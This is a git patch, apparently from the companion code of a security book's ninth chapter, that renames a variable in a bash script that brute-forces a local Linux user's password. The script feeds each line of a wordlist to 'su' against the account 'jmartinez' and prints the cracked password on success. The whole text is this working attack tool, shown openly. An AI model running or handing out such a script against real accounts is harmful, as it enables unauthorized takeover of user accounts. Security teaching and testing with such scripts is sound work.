From cb61a5b52eac4255c52adfeb3d65fec3b546d181 Mon Sep 17 00:00:00 2001 From: Dolev Farhi Date: Wed, 11 Oct 2023 11:10:33 -0400 Subject: [PATCH] Update local_account_bf.sh Rename variable --- ch09/local_account_bf.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/ch09/local_account_bf.sh b/ch09/local_account_bf.sh index 5a3de53..16a9985 100644 --- a/ch09/local_account_bf.sh +++ b/ch09/local_account_bf.sh @@ -1,5 +1,5 @@ #!/bin/bash -USERNAME="jmartinez" +USER="jmartinez" PASSWORD_FILE="passwords.txt" if [[ ! -f "${PASSWORD_FILE}" ]]; then @@ -8,14 +8,14 @@ if [[ ! -f "${PASSWORD_FILE}" ]]; then fi while read -r password; do - echo "Attempting password: ${password} against ${USERNAME}..." - if echo "${password}" | timeout 0.2 su - ${USERNAME} -c 'whoami' | grep -q "${USERNAME}"; then + echo "Attempting password: ${password} against ${USER}..." + if echo "${password}" | timeout 0.2 su - ${USER} -c 'whoami' | grep -q "${USER}"; then echo - echo "SUCCESS! The password for ${USERNAME} is ${password}" - echo "Use su - ${USERNAME} and provide the password to switch" + echo "SUCCESS! The password for ${USER} is ${password}" + echo "Use su - ${USER} and provide the password to switch" exit 0 fi done < "${PASSWORD_FILE}" -echo "Unable to compromise ${USERNAME}." +echo "Unable to compromise ${USER}." exit 1